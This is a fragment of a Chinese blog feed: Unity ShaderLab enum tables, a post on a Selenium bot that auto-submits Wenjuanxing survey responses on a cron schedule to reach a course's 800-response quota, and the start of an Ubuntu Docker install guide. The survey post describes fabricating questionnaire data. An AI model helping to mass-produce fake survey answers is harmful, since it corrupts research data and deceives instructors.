Enum,无法组合多个值。\u003c/p\u003e\n\u003ch2 id=\"Commands\"\u003eCommands\u003ca class=\"headerlink\" href=\"#Commands\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e相关文档:\u003ca href=\"https://docs.unity3d.com/Manual/shader-shaderlab-commands.html\"\u003eShaderLab: commands\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003eCull [_CullMode]\nColorMask [_ColorMask]\nZWrite [_ZWriteMode]\nZTest [_ZTestMode]\n\nBlendOp [_BlendOp]\nBlend [_SrcBlend] [_DstBlend]\n\nStencil\n{\n Ref [_StencilRef]\n ReadMask [_StencilReadMask]\n WriteMask [_StencilWriteMask]\n Comp [_StencilComp]\n Pass [_StencilPass]\n Fail [_StencilFail]\n ZFail [_StencilZFail]\n}\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"Enum-表\"\u003eEnum 表\u003ca class=\"headerlink\" href=\"#Enum-表\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e相关的枚举都声明在 \u003ca href=\"https://github.com/Unity-Technologies/UnityCsReference/blob/master/Runtime/Export/Graphics/GraphicsEnums.cs\"\u003eRuntime/Export/Graphics/GraphicsEnums.cs\u003c/a\u003e 里。\u003c/p\u003e\n\u003cp\u003e下面的表基于 Unity 2023.3.0b5 的代码。\u003c/p\u003e\n\u003ch3 id=\"BlendMode\"\u003eBlendMode\u003ca class=\"headerlink\" href=\"#BlendMode\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eZero\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOne\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDstColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSrcColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusDstColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSrcAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusSrcColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDstAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusDstAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSrcAlphaSaturate\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e9\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusSrcAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e10\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"BlendOp\"\u003eBlendOp\u003ca class=\"headerlink\" href=\"#BlendOp\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAdd\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSubtract\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eReverseSubtract\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eMin\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eMax\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalClear\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalSet\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalCopy\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalCopyInverted\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalNoop\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e9\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalInvert\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e10\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalAnd\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e11\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalNand\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e12\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalOr\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e13\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalNor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e14\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalXor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e15\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalEquivalence\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e16\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalAndReverse\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e17\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalAndInverted\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e18\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalOrReverse\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e19\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalOrInverted\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e20\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eMultiply\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e21\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eScreen\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e22\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOverlay\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e23\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDarken\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e24\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLighten\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e25\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eColorDodge\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e26\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eColorBurn\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e27\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHardLight\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e28\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSoftLight\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e29\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDifference\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e30\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eExclusion\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e31\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLHue\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e32\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLSaturation\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e33\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e34\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLLuminosity\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e35\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"CompareFunction\"\u003eCompareFunction\u003ca class=\"headerlink\" href=\"#CompareFunction\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDisabled\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eNever\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLess\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLessEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eGreater\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eNotEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eGreaterEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAlways\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"CullMode\"\u003eCullMode\u003ca class=\"headerlink\" href=\"#CullMode\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOff\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eFront\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eBack\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"ColorWriteMask\"\u003eColorWriteMask\u003ca class=\"headerlink\" href=\"#ColorWriteMask\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue (Flags)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eBlue\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eGreen\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eRed\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAll\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e15\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"StencilOp\"\u003eStencilOp\u003ca class=\"headerlink\" href=\"#StencilOp\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eKeep\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eZero\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eReplace\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eIncrementSaturate\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDecrementSaturate\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eInvert\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eIncrementWrap\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDecrementWrap\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-render-state-props-ui/"}]},{"name":"王兰花椒粉的秘密小窝","email":"Unknown","uri":"http://wanglanhuajiaofen.fun","description":"","article":[{"title":"基于selenium的刷问卷星脚本","time":"2024-08-13T16:00:00Z","content":"\u003chr /\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e西安电子科技大学大二下学期有一门课叫做思想政治理论实践课,这门课要求学生收集至少\u003cstrong\u003e800份\u003c/strong\u003e问卷星问卷(ノへ ̄、),诗人握持( ̄_, ̄ )\u003cbr\u003e本着之前学过一点selenium,并且发现问卷星问卷只不过是一个网页,并且问卷可以设置每个人可以填无数份,于是就想着用selenium写一个刷问卷星脚本。\u003c/p\u003e\n\u003ch2 id=\"注意\"\u003e\u003ca href=\"#注意\" class=\"headerlink\" title=\"注意\"\u003e\u003c/a\u003e注意\u003c/h2\u003e\u003cp\u003e该脚本只针对\u003cstrong\u003e只有多选\u003c/strong\u003e的问卷,如果有其他需求,请直接在github向我提issue\u003ca href=\"https://github.com/WangLanHuaJiaoFen/-selenium-/issues\"\u003e王兰花椒粉\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"环境要求\"\u003e\u003ca href=\"#环境要求\" class=\"headerlink\" title=\"环境要求\"\u003e\u003c/a\u003e环境要求\u003c/h2\u003e\u003cp\u003ePython 3.11.8\u003cbr\u003eurllib3 2.2.2\u003cbr\u003eselenium 4.23.1\u003cbr\u003epyinstaller 6.10.0\u003c/p\u003e\n\u003cp\u003e可以直接用pip\u0026#x2F;conda进行安装对应版本的包。\u003c/p\u003e\n\u003ch2 id=\"Get-Started\"\u003e\u003ca href=\"#Get-Started\" class=\"headerlink\" title=\"Get Started\"\u003e\u003c/a\u003eGet Started\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WangLanHuaJiaoFen/-selenium-\"\u003e点击进入仓库\u003c/a\u003e获取代码,或者通过git进行克隆\u003c/li\u003e\n\u003cli\u003e获取你问卷的url:微信扫码打开你们的问卷,右上角三个点选择在浏览器打开,打开后复制问卷链接。\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/zDcB7Zxl8OTIopQ.png\" alt=\"image.png\"\u003e\u003cbr\u003e在代码这一行的引号中写入你问卷的url\u003c/li\u003e\n\u003cli\u003e然后直接运行即可(如果没有谷歌的webdriver,可以在网上找个教程配一下,注意安装对应版本的chromedriver)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于实现自动化运行\"\u003e\u003ca href=\"#关于实现自动化运行\" class=\"headerlink\" title=\"关于实现自动化运行\"\u003e\u003c/a\u003e关于实现自动化运行\u003c/h2\u003e\u003cp\u003e由于不理解问卷星反爬机制,网上的反爬教程也是老到掉毛了,所以这里只介绍一种实现自动化运行的方法。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ewindows\u003cul\u003e\n\u003cli\u003e安装pyinstaller,在命令行对应环境中输入\u003ccode\u003epip install pyinstaller\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e安装好后在代码文件夹中运行\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003epyinstaller -F -w 文件名.py\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e最后生成的可执行文件在dist文件夹中,直接运行即可。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003elinux\u003cul\u003e\n\u003cli\u003e基本步骤和windows一致,不过参数方面有些许不同,可自行查找资料。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"设置定时任务\"\u003e\u003ca href=\"#设置定时任务\" class=\"headerlink\" title=\"设置定时任务\"\u003e\u003c/a\u003e设置定时任务\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003ewindows\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ewin+r打开运行,输入\u003ccode\u003etaskschd.msc\u003c/code\u003e,回车。\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/5wcWbZQHKjCizP6.png\" alt=\"image-1.png\"\u003e点击创建任务\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/3iVdRICDuAfEy5n.png\" alt=\"image-2.png\"\u003e输入名称,选择最高权限运行\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/TbSAux3lJakcFNW.png\" alt=\"image-3.png\"\u003e新建触发器\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/FPaOYUieSnW4tAy.png\" alt=\"image-4.png\"\u003e按照图示勾选\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/Wu4gsyP2xSKc6lh.png\" alt=\"image-5.png\"\u003e新建操作\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/ENFnY6uOp3H7cM1.png\" alt=\"image-6.png\"\u003e在这里点击浏览,选择你生成的可执行文件\u003c/li\u003e\n\u003cli\u003e最后点击确定即可。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003elinux\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003elinux下设置定时任务比较简单,直接在命令行中输入\u003ccode\u003ecrontab -e\u003c/code\u003e,然后按照提示操作即可。\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/hiCTEHDrcUmgFKJ.png\" alt=\"image-7.png\"\u003e这里给出我设置的定时任务,*\u0026#x2F;2表示每两分钟执行一次。\u0026#x2F;home\u0026#x2F;rongrong\u0026#x2F;PycharmProjects\u0026#x2F;pc_wjx\u0026#x2F;dist\u0026#x2F;p1c即为可执行文件的路径,p1c为我的可执行文件。后面的表示输入日志文件,可自行修改或者不写即可。\u003c/li\u003e\n\u003cli\u003e设置完后在终端输入\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003ecrontab -l \u003cspan class=\"hljs-comment\"\u003e# 查看定时任务列表\u003c/span\u003e\nsudo systemctl start cron \u003cspan class=\"hljs-comment\"\u003e# 开始执行定时任务\u003c/span\u003e\nsudo systemctl \u003cspan class=\"hljs-built_in\"\u003eenable\u003c/span\u003e cron \u003cspan class=\"hljs-comment\"\u003e# 设置开机自动启动定时任务\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"结语\"\u003e\u003ca href=\"#结语\" class=\"headerlink\" title=\"结语\"\u003e\u003c/a\u003e结语\u003c/h2\u003e\u003cp\u003e如果这篇文章对你有帮助,欢迎star\u0026#x2F;fork(๑•̀ㅂ•́)و✧\u003c/p\u003e\n\u003cp\u003e如果有其他需求或者发现bug,欢迎issue\u0026#x2F;prヽ(✿゚▽゚)ノ\u003c/p\u003e\n\u003cp\u003e如果懒得动手,你可以在issue中给我问卷url和联系方式,我把可执行文件直接发给你♪(^∇^*)\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/08/14/wjx/"},{"title":"Ubuntu23.10 docker安装与配置","time":"2024-07-26T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"起始\"\u003e\u003ca href=\"#起始\" class=\"headerlink\" title=\"起始\"\u003e\u003c/a\u003e起始\u003c/h1\u003e\u003cp\u003e最近开始学docker了,感觉docker很厉害o( ̄▽ ̄)d可以很方便的部署各种环境。然鹅果不其然,配环境是一大问题┌(。Д。)┐\u003cbr\u003e这里就简单整理下Ubuntu23.10 安装与配置docker的过程叭✧(≖ ◡ ≖)\u003c/p\u003e\n\u003ch2 id=\"参考文档\"\u003e\u003ca href=\"#参考文档\" class=\"headerlink\" title=\"参考文档\"\u003e\u003c/a\u003e参考文档\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository\"\u003edocker官网\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://docker-practice.github.io/zh-cn/install/ubuntu.html\"\u003eDocker — 从入门到实践\u003c/a\u003e\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\n\u003ch2 id=\"系统要求\"\u003e\u003ca href=\"#系统要求\" class=\"headerlink\" title=\"系统要求\"\u003e\u003c/a\u003e系统要求\u003c/h2\u003e\u003cp\u003edocker要求较新的ubuntu版本,建议选择20.04之后的LTS Ubuntu。\u003cbr\u003e我用的是Ubuntu23.10LTS。\u003c/p\u003e\n\u003ch2 id=\"卸载旧版本\"\u003e\u003ca href=\"#卸载旧版本\" class=\"headerlink\" title=\"卸载旧版本\"\u003e\u003c/a\u003e卸载旧版本\u003c/h2\u003e\u003cp\u003e无论是否存在旧版本都可以执行以下命令,以防万一。\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo apt-get remove docker \\\n docker-engine \\\n docker.io\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"前置步骤\"\u003e\u003ca href=\"#前置步骤\" class=\"headerlink\" title=\"前置步骤\"\u003e\u003c/a\u003e前置步骤\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo apt-get update \u003cspan class=\"hljs-comment\"\u003e# 更新可用软件包信息\u003c/span\u003e\nsudo apt-get install ca-certificates curl \u003cspan class=\"hljs-comment\"\u003e# 安装ca证书和curl\u003c/span\u003e\nsudo install -m 0755 -d /etc/apt/keyrings\ncurl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker-archive-keyring.gpg \u003cspan class=\"hljs-comment\"\u003e# 添加软件源gpg密钥\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"ubuntu换国内源\"\u003e\u003ca href=\"#ubuntu换国内源\" class=\"headerlink\" title=\"ubuntu换国内源\"\u003e\u003c/a\u003eubuntu换国内源\u003c/h2\u003e\u003cp\u003e参考\u003ca href=\"https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/\"\u003e清华大学开源软件镜像站\u003c/a\u003e自行换源\u003c/p\u003e\n\u003ch2 id=\"使用apt安装docker\"\u003e\u003ca href=\"#使用apt安装docker\" class=\"headerlink\" title=\"使用apt安装docker\"\u003e\u003c/a\u003e使用apt安装docker\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003e \u003cspan class=\"hljs-comment\"\u003e# 添加docker源\u003c/span\u003e\n 